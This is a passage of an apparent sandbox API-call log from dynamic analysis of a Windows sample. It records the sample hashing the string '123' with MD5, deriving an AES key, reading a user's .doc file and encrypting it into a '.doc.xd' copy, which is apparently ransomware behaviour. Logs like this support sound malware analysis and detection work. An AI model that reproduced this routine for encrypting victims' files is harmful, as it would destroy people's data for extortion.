hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.164] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.164] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.164] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.164] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.164] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.164] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.164] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.165] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.165] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.165] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.165] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.165] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.165] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.165] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.165] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.165] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.165] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.165] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.166] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.183] CryptCreateHash (in: hProv=0x17aa230, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.183] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.184] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.184] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.184] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.184] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.184] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.184] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.184] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.184] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.185] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.185] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.185] CryptHashData (hHash=0x164c270, pbData=0x1629420, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.185] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.185] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.185] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.185] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.185] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.186] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.186] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.186] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621678, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.186] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.186] CryptDeriveKey (in: hProv=0x17aa230, Algid=0x6610, hBaseData=0x164c270, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0071.186] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.186] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.186] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.187] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.187] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.187] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.187] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.187] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.188] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.188] CryptDestroyHash (hHash=0x164c270) returned 1 [0071.188] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.188] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.188] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.188] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.188] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.188] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\pynkvm3fnef5ezp3.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.189] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.189] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.189] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.189] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.189] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.189] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.189] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\pynkvm3fnef5ezp3.doc.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.190] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.190] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.190] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.190] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.193] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.193] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0071.196] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x1bcb, lpOverlapped=0x0) returned 1 [0071.197] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.202] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.203] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.203] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.203] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.203] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.203] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.203] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.203] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.203] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.203] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.203] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.204] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.204] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.204] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.204] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.205] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.205] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.205] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.205] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.205] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.205] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.205] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.205] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.205] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.205] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.205] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.206] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.207] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621810, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.207] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.207] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x11bcb, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x11bd0) returned 1 [0071.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.207] CharLowerBuffW (in: lpsz="byte[72657]", cchLength=0xb | out: lpsz="byte[72657]") returned 0xb [0071.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.208] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.208] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.208] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.208] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.209] WideCharToMultiByte (in: CodePage=0x0, 